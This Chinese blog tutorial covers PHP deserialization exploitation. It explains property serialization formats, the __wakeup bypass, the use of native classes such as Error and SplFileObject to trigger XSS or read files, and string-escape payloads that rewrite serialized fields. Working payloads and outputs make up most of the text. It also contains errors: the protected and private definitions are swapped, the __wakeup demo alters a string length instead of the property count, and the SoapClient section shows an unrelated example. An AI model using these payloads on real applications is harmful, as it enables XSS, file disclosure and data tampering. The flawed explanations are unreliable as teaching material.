PHP反序列化(属性类型特征、CVE绕过漏洞、原生类、字符串逃逸)
本文最后更新于101 天前,其中的信息可能已经过时。

属性类型特征

对象变量属性:

public:公有类型、全局,类的内部和外部都可以访问

protected:私有类 只有当前类的内部可以访问

private:受保护的类 只有当前类或者父类可以访问

对应序列化数据后显示:

public:属性序列化后格式是正常成员名

protected:属性序列化后格式是%00*%00成员名

private:属性序列化后格式是%00类名%00成员名

案例:

<?php

class Demo {

 public $name = "Miren";

 protected $age = 18;

 private $sex = '男';

}

$a = new Demo();

$b = serialize($a);

print_r($b);

输出:

O:4:”Demo”:3:{s:4:”name”;s:5:”Miren”;s:6:”*age”;i:18;s:9:”Demosex”;s:3:”男”;}

此处public类型的name显示s:5,protected类型的age显示为s:6故包含%00*%00,private类型的sex显示为s:9故包含%00类名%00成员名

__wakeup()绕过

反序列化过程中,先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行就会被跳过。

案例:

<?php

class test

{

  public $a='niubi';

  public function __wakeup()

  {

​    echo $this->a='hacker!';

  }

  public function __destruct()

  {

​    echo $this->a;

  }

}

$a='O:4:"test":1:{s:1:"a";s:5:"niubi";}';

$b=unserialize($a);

?>

正常执行后输出

hacker!hacker!

当把

O:4:”test”:1:{s:1:”a”;s:5:”niubi”;}修改为O:4:”test”:1:{s:1:”a”;s:6:”niubi”;}的时候成功输出niubi

序列化字符串中表示对象属性个数的值大于真实的属性个数会绕过__wakeup()

原生类

PHP原生类就是在标准PHP库中已经封装好的类,在没有可以利用的反序列化类的时候需要使用PHP原生类进行下一步。

常见原生类:

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

获取常见魔术方法原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

Error类案例:

/* PHP官网类摘要 */
class Error implements Throwable {
/* 属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}

此处包含__toString方法构造一个例子

<?php
$a = unserialize($_GET['a']);
echo $a;
?>

构造POP原生类调用Error

<?php
$a = new Error("<script>alert('xss被触发')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

运行后输出:

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22%2Fxp%2Fwww%2F192.168.9.252%2Fpop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

给a传入后网页出现弹窗

Exception同理将new Error改为new Exception

SoapClient类案例

/* PHP官网类摘要 */
class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
    string $request,
    string $location,
    string $action,
    int $version,
    bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
    string $name,
    array $args,
    ?array $options = null,
    SoapHeader|array|null $inputHeaders = null,
    array &$outputHeaders = null
): mixed
}
//ysl.php
<?php
$dir=new SplFileObject("D:\\phpstudy_pro\\WWW\\ysl.php");
echo $dir;
?>

输出

//ysl.php //ysl.php

可直接读取文件的第一行

tips:SplFileObject默认的是单行读取模式,需要配合循环进行遍历读取

字符串逃逸

在PHP反序列化中是以;}标记结束,;是作为字段的分割

例如:

O:4:"user":2:{s:4:"name";s:5:"miren";s:3:"age";s:2:"20";}abcd

此处的abcd就不会被反序列化成功

O:4:"user":2:{s:4:"name";s:5:"miren2394";s:3:"age";s:2:"20";}

此处长度不对应也会出现报错反序列化失败

增加案例:

<?php

function filter($string){

  return preg_replace('/m/','WW',$string);

}

$username = 'miren';

$age = "10";

$user = array($username, $age);

var_dump(serialize($user));

echo "<br>";

$f = filter(serialize($user));

var_dump($f);

echo "<br>";

var_dump(unserialize($f));

?>

输出:

string(35) "a:2:{i:0;s:5:"miren";i:1;s:2:"10";}"
string(36) "a:2:{i:0;s:5:"WWiren";i:1;s:2:"10";}"
bool(false)

filter会将m替换成WW,现在我如果要修改age为20,此处m会被替换成WW增加了一个字符,看此处”;i:1;s:2:”20″;}为16个字符也就是说需要输入16个m在拼接上”;i:1;s:2:”10″;}可以在过滤后将32个W填充,然后替换掉age,payload为:mmmmmmmmmmmmmmmm”;i:1;s:2:”20″;}

输出

string(63) "a:2:{i:0;s:32:"mmmmmmmmmmmmmmmm";i:1;s:2:"20";}";i:1;s:2:"10";}"
string(79) "a:2:{i:0;s:32:"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW";i:1;s:2:"20";}";i:1;s:2:"10";}"
array(2) { [0]=> string(32) "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" [1]=> string(2) "20" }

此处的age成功替换为20

减少案例:

<?php

function filter($string){

 return preg_replace('/mm/','W',$string);

}

$username = 'mmiren';

$age = "10";

$user = array($username, $age);

var_dump(serialize($user));

echo "<br>";

$f = filter(serialize($user));

var_dump($f);

echo "<br>";

var_dump(unserialize($f));

?>

输出:

string(36) "a:2:{i:0;s:6:"mmiren";i:1;s:2:"10";}"
string(35) "a:2:{i:0;s:6:"Wiren";i:1;s:2:"10";}"
bool(false)

此处的mm会被替换成W,减少了一位,此处要是进行逃逸修改age为20,第一步先将”;i:1;s:2:”10″;}传入给age输出:

string(47) "a:2:{i:0;s:2:"mm";i:1;s:16:"";i:1;s:2:"20";}";}"
string(46) "a:2:{i:0;s:2:"W";i:1;s:16:"";i:1;s:2:"20";}";}"
bool(false)

其中这一段”;i:1;s:16:”为12个字符,此处应该传入12*2个m让”;i:1;s:16:”反序列化部分解析为username的部分然后将age解析为20

$username = 'mmmmmmmmmmmmmmmmmmmmmmmm';

$age = '";i:1;s:2:"20";}';

输出为

string(70) "a:2:{i:0;s:24:"mmmmmmmmmmmmmmmmmmmmmmmm";i:1;s:16:"";i:1;s:2:"20";}";}"
string(58) "a:2:{i:0;s:24:"WWWWWWWWWWWW";i:1;s:16:"";i:1;s:2:"20";}";}"
array(2) { [0]=> string(24) "WWWWWWWWWWWW";i:1;s:16:"" [1]=> string(2) "20" }

因为字符减少会让后面的往前补位则需要保持闭合状态还有s:length:”data”的正确格式,需要补全补位的字符

文末附加内容

评论

  1. wowo
    Windows Chrome
    3 月前
    2026-1-04 16:12:38

    哇哇哇 主播好牛

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇